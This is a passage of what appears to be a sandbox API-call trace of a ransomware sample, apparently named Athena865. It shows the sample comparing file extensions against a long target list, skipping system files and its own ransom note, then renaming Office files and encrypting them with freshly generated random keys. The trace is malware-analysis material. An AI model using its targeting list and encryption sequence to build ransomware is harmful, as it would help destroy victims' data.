lstrcmpiW (lpString1="xsn", lpString2="mpd") returned 1 [0146.591] lstrlenW (lpString="mrg") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mrg") returned 1 [0146.591] lstrlenW (lpString="mud") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mud") returned 1 [0146.591] lstrlenW (lpString="mwb") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mwb") returned 1 [0146.591] lstrlenW (lpString="myd") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="myd") returned 1 [0146.591] lstrlenW (lpString="ndf") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="ndf") returned 1 [0146.591] lstrlenW (lpString="nnt") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="nnt") returned 1 [0146.591] lstrlenW (lpString="nrmlib") returned 6 [0146.591] lstrcmpiW (lpString1="it.xsn", lpString2="nrmlib") returned -1 [0146.591] lstrlenW (lpString="ns2") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="ns2") returned 1 [0146.591] lstrlenW (lpString="ns3") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="ns3") returned 1 [0146.591] lstrlenW (lpString="ns4") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="ns4") returned 1 [0146.591] lstrlenW (lpString="nsf") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="nsf") returned 1 [0146.592] lstrlenW (lpString="nv") returned 2 [0146.592] lstrcmpiW (lpString1="sn", lpString2="nv") returned 1 [0146.592] lstrlenW (lpString="nv2") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="nv2") returned 1 [0146.592] lstrlenW (lpString="nwdb") returned 4 [0146.592] lstrcmpiW (lpString1=".xsn", lpString2="nwdb") returned -1 [0146.592] lstrlenW (lpString="nyf") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="nyf") returned 1 [0146.592] lstrlenW (lpString="odb") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="odb") returned 1 [0146.592] lstrlenW (lpString="odb") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="odb") returned 1 [0146.592] lstrlenW (lpString="oqy") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="oqy") returned 1 [0146.592] lstrlenW (lpString="ora") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="ora") returned 1 [0146.592] lstrlenW (lpString="orx") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="orx") returned 1 [0146.592] lstrlenW (lpString="owc") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="owc") returned 1 [0146.592] lstrlenW (lpString="p96") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="p96") returned 1 [0146.592] lstrlenW (lpString="p97") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="p97") returned 1 [0146.592] lstrlenW (lpString="pan") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="pan") returned 1 [0146.592] lstrlenW (lpString="pdb") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="pdb") returned 1 [0146.592] lstrlenW (lpString="pdm") returned 3 [0146.592] lstrcmpiW (lpString1="xsn", lpString2="pdm") returned 1 [0146.593] lstrlenW (lpString="pnz") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="pnz") returned 1 [0146.593] lstrlenW (lpString="qry") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="qry") returned 1 [0146.593] lstrlenW (lpString="qvd") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="qvd") returned 1 [0146.593] lstrlenW (lpString="rbf") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="rbf") returned 1 [0146.593] lstrlenW (lpString="rctd") returned 4 [0146.593] lstrcmpiW (lpString1=".xsn", lpString2="rctd") returned -1 [0146.593] lstrlenW (lpString="rod") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="rod") returned 1 [0146.593] lstrlenW (lpString="rodx") returned 4 [0146.593] lstrcmpiW (lpString1=".xsn", lpString2="rodx") returned -1 [0146.593] lstrlenW (lpString="rpd") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="rpd") returned 1 [0146.593] lstrlenW (lpString="rsd") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="rsd") returned 1 [0146.593] lstrlenW (lpString="sas7bdat") returned 8 [0146.593] lstrcmpiW (lpString1="Init.xsn", lpString2="sas7bdat") returned -1 [0146.593] lstrlenW (lpString="sbf") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="sbf") returned 1 [0146.593] lstrlenW (lpString="scx") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="scx") returned 1 [0146.593] lstrlenW (lpString="sdb") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="sdb") returned 1 [0146.593] lstrlenW (lpString="sdc") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="sdc") returned 1 [0146.593] lstrlenW (lpString="sdf") returned 3 [0146.593] lstrcmpiW (lpString1="xsn", lpString2="sdf") returned 1 [0146.594] lstrlenW (lpString="sis") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="sis") returned 1 [0146.594] lstrlenW (lpString="spq") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="spq") returned 1 [0146.594] lstrlenW (lpString="te") returned 2 [0146.594] lstrcmpiW (lpString1="sn", lpString2="te") returned -1 [0146.594] lstrlenW (lpString="teacher") returned 7 [0146.594] lstrcmpiW (lpString1="nit.xsn", lpString2="teacher") returned -1 [0146.594] lstrlenW (lpString="tmd") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="tmd") returned 1 [0146.594] lstrlenW (lpString="tps") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="tps") returned 1 [0146.594] lstrlenW (lpString="trc") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="trc") returned 1 [0146.594] lstrlenW (lpString="trc") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="trc") returned 1 [0146.594] lstrlenW (lpString="trm") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="trm") returned 1 [0146.594] lstrlenW (lpString="udb") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="udb") returned 1 [0146.594] lstrlenW (lpString="udl") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="udl") returned 1 [0146.594] lstrlenW (lpString="usr") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="usr") returned 1 [0146.594] lstrlenW (lpString="v12") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="v12") returned 1 [0146.594] lstrlenW (lpString="vis") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="vis") returned 1 [0146.594] lstrlenW (lpString="vpd") returned 3 [0146.594] lstrcmpiW (lpString1="xsn", lpString2="vpd") returned 1 [0146.594] lstrlenW (lpString="vvv") returned 3 [0146.595] lstrcmpiW (lpString1="xsn", lpString2="vvv") returned 1 [0146.595] lstrlenW (lpString="wdb") returned 3 [0146.595] lstrcmpiW (lpString1="xsn", lpString2="wdb") returned 1 [0146.595] lstrlenW (lpString="wmdb") returned 4 [0146.595] lstrcmpiW (lpString1=".xsn", lpString2="wmdb") returned -1 [0146.595] lstrlenW (lpString="wrk") returned 3 [0146.595] lstrcmpiW (lpString1="xsn", lpString2="wrk") returned 1 [0146.595] lstrlenW (lpString="xdb") returned 3 [0146.595] lstrcmpiW (lpString1="xsn", lpString2="xdb") returned 1 [0146.595] lstrlenW (lpString="xld") returned 3 [0146.595] lstrcmpiW (lpString1="xsn", lpString2="xld") returned 1 [0146.595] lstrlenW (lpString="xmlff") returned 5 [0146.595] lstrcmpiW (lpString1="t.xsn", lpString2="xmlff") returned -1 [0146.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.Athena865") returned 80 [0146.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn.athena865"), dwFlags=0x1) returned 1 [0146.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.603] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14762) returned 1 [0146.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.603] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.604] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.604] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.604] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3cb0, lpName=0x0) returned 0x154 [0146.605] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3cb0) returned 0x100000 [0146.607] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.607] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.607] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.608] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.608] CloseHandle (hObject=0x154) returned 1 [0146.608] CloseHandle (hObject=0x17c) returned 1 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.609] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ed7300, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63ed7300, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x482d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="REVIEW~2.XSN")) returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2=".") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="..") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="windows") returned -1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="bootmgr") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="temp") returned -1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="pagefile.sys") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="boot") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="ids.txt") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="ntuser.dat") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="perflogs") returned 1 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2="MSBuild") returned 1 [0146.609] lstrlenW (lpString="ReviewRouting_Review.xsn") returned 24 [0146.609] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ReviewRouting_Review.xsn" | out: lpString1="ReviewRouting_Review.xsn") returned="ReviewRouting_Review.xsn" [0146.609] lstrlenW (lpString="ReviewRouting_Review.xsn") returned 24 [0146.609] lstrlenW (lpString="Athena865") returned 9 [0146.609] lstrcmpiW (lpString1="eview.xsn", lpString2="Athena865") returned 1 [0146.609] lstrlenW (lpString=".dll") returned 4 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2=".dll") returned 1 [0146.609] lstrlenW (lpString=".lnk") returned 4 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2=".lnk") returned 1 [0146.609] lstrlenW (lpString=".ini") returned 4 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2=".ini") returned 1 [0146.609] lstrlenW (lpString=".sys") returned 4 [0146.609] lstrcmpiW (lpString1="ReviewRouting_Review.xsn", lpString2=".sys") returned 1 [0146.609] lstrlenW (lpString="ReviewRouting_Review.xsn") returned 24 [0146.610] lstrlenW (lpString="bak") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="bak") returned 1 [0146.610] lstrlenW (lpString="ba_") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="ba_") returned 1 [0146.610] lstrlenW (lpString="dbb") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="dbb") returned 1 [0146.610] lstrlenW (lpString="vmdk") returned 4 [0146.610] lstrcmpiW (lpString1=".xsn", lpString2="vmdk") returned -1 [0146.610] lstrlenW (lpString="rar") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="rar") returned 1 [0146.610] lstrlenW (lpString="zip") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="zip") returned -1 [0146.610] lstrlenW (lpString="tgz") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="tgz") returned 1 [0146.610] lstrlenW (lpString="vbox") returned 4 [0146.610] lstrcmpiW (lpString1=".xsn", lpString2="vbox") returned -1 [0146.610] lstrlenW (lpString="vdi") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="vdi") returned 1 [0146.610] lstrlenW (lpString="vhd") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="vhd") returned 1 [0146.610] lstrlenW (lpString="vhdx") returned 4 [0146.610] lstrcmpiW (lpString1=".xsn", lpString2="vhdx") returned -1 [0146.610] lstrlenW (lpString="avhd") returned 4 [0146.610] lstrcmpiW (lpString1=".xsn", lpString2="avhd") returned -1 [0146.610] lstrlenW (lpString="db") returned 2 [0146.610] lstrcmpiW (lpString1="sn", lpString2="db") returned 1 [0146.610] lstrlenW (lpString="db2") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="db2") returned 1 [0146.610] lstrlenW (lpString="db3") returned 3 [0146.610] lstrcmpiW (lpString1="xsn", lpString2="db3") returned 1 [0146.610] lstrlenW (lpString="dbf") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="dbf") returned 1 [0146.611] lstrlenW (lpString="mdf") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="mdf") returned 1 [0146.611] lstrlenW (lpString="mdb") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="mdb") returned 1 [0146.611] lstrlenW (lpString="sql") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="sql") returned 1 [0146.611] lstrlenW (lpString="sqlite") returned 6 [0146.611] lstrcmpiW (lpString1="ew.xsn", lpString2="sqlite") returned -1 [0146.611] lstrlenW (lpString="sqlite3") returned 7 [0146.611] lstrcmpiW (lpString1="iew.xsn", lpString2="sqlite3") returned -1 [0146.611] lstrlenW (lpString="sqlitedb") returned 8 [0146.611] lstrcmpiW (lpString1="view.xsn", lpString2="sqlitedb") returned 1 [0146.611] lstrlenW (lpString="xml") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="xml") returned 1 [0146.611] lstrlenW (lpString="$er") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="$er") returned 1 [0146.611] lstrlenW (lpString="4dd") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="4dd") returned 1 [0146.611] lstrlenW (lpString="4dl") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="4dl") returned 1 [0146.611] lstrlenW (lpString="^^^") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="^^^") returned 1 [0146.611] lstrlenW (lpString="abs") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="abs") returned 1 [0146.611] lstrlenW (lpString="abx") returned 3 [0146.611] lstrcmpiW (lpString1="xsn", lpString2="abx") returned 1 [0146.612] lstrlenW (lpString="accdb") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accdb") returned 1 [0146.612] lstrlenW (lpString="accdc") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accdc") returned 1 [0146.612] lstrlenW (lpString="accde") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accde") returned 1 [0146.612] lstrlenW (lpString="accdr") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accdr") returned 1 [0146.612] lstrlenW (lpString="accdt") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accdt") returned 1 [0146.612] lstrlenW (lpString="accdw") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accdw") returned 1 [0146.612] lstrlenW (lpString="accft") returned 5 [0146.612] lstrcmpiW (lpString1="w.xsn", lpString2="accft") returned 1 [0146.612] lstrlenW (lpString="adb") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="adb") returned 1 [0146.612] lstrlenW (lpString="adb") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="adb") returned 1 [0146.612] lstrlenW (lpString="ade") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="ade") returned 1 [0146.612] lstrlenW (lpString="adf") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="adf") returned 1 [0146.612] lstrlenW (lpString="adn") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="adn") returned 1 [0146.612] lstrlenW (lpString="adp") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="adp") returned 1 [0146.612] lstrlenW (lpString="alf") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="alf") returned 1 [0146.612] lstrlenW (lpString="ask") returned 3 [0146.612] lstrcmpiW (lpString1="xsn", lpString2="ask") returned 1 [0146.613] lstrlenW (lpString="btr") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="btr") returned 1 [0146.613] lstrlenW (lpString="cat") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="cat") returned 1 [0146.613] lstrlenW (lpString="cdb") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="cdb") returned 1 [0146.613] lstrlenW (lpString="ckp") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="ckp") returned 1 [0146.613] lstrlenW (lpString="cma") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="cma") returned 1 [0146.613] lstrlenW (lpString="cpd") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="cpd") returned 1 [0146.613] lstrlenW (lpString="dacpac") returned 6 [0146.613] lstrcmpiW (lpString1="ew.xsn", lpString2="dacpac") returned 1 [0146.613] lstrlenW (lpString="dad") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="dad") returned 1 [0146.613] lstrlenW (lpString="dadiagrams") returned 10 [0146.613] lstrcmpiW (lpString1="Review.xsn", lpString2="dadiagrams") returned 1 [0146.613] lstrlenW (lpString="daschema") returned 8 [0146.613] lstrcmpiW (lpString1="view.xsn", lpString2="daschema") returned 1 [0146.613] lstrlenW (lpString="db-journal") returned 10 [0146.613] lstrcmpiW (lpString1="Review.xsn", lpString2="db-journal") returned 1 [0146.613] lstrlenW (lpString="db-shm") returned 6 [0146.613] lstrcmpiW (lpString1="ew.xsn", lpString2="db-shm") returned 1 [0146.613] lstrlenW (lpString="db-wal") returned 6 [0146.613] lstrcmpiW (lpString1="ew.xsn", lpString2="db-wal") returned 1 [0146.613] lstrlenW (lpString="dbc") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="dbc") returned 1 [0146.613] lstrlenW (lpString="dbs") returned 3 [0146.613] lstrcmpiW (lpString1="xsn", lpString2="dbs") returned 1 [0146.614] lstrlenW (lpString="dbt") returned 3 [0146.614] lstrcmpiW (lpString1="xsn", lpString2="dbt") returned 1 [0146.614] lstrlenW (lpString="dbv") returned 3 [0146.614] lstrcmpiW (lpString1="xsn", lpString2="dbv") returned 1 [0146.614] lstrlenW (lpString="dbx") returned 3 [0146.614] lstrcmpiW (lpString1="xsn", lpString2="dbx") returned 1 [0146.614] lstrlenW (lpString="dcb") returned 3 [0146.614] lstrcmpiW (lpString1="xsn", lpString2="dcb") returned 1 [0146.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.Athena865") returned 82 [0146.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn.athena865"), dwFlags=0x1) returned 1 [0146.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18477) returned 1 [0146.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.617] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.617] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.617] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b30, lpName=0x0) returned 0x154 [0146.618] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b30) returned 0x100000 [0146.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.620] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.620] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.621] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.621] CloseHandle (hObject=0x154) returned 1 [0146.621] CloseHandle (hObject=0x17c) returned 1 [0146.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.622] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2=".") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="..") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="windows") returned -1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="bootmgr") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="temp") returned -1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", lpString2="pagefile.sys") returned 1 [0146.622] lstrcmpiW (lpString1="ROSE.CSS", 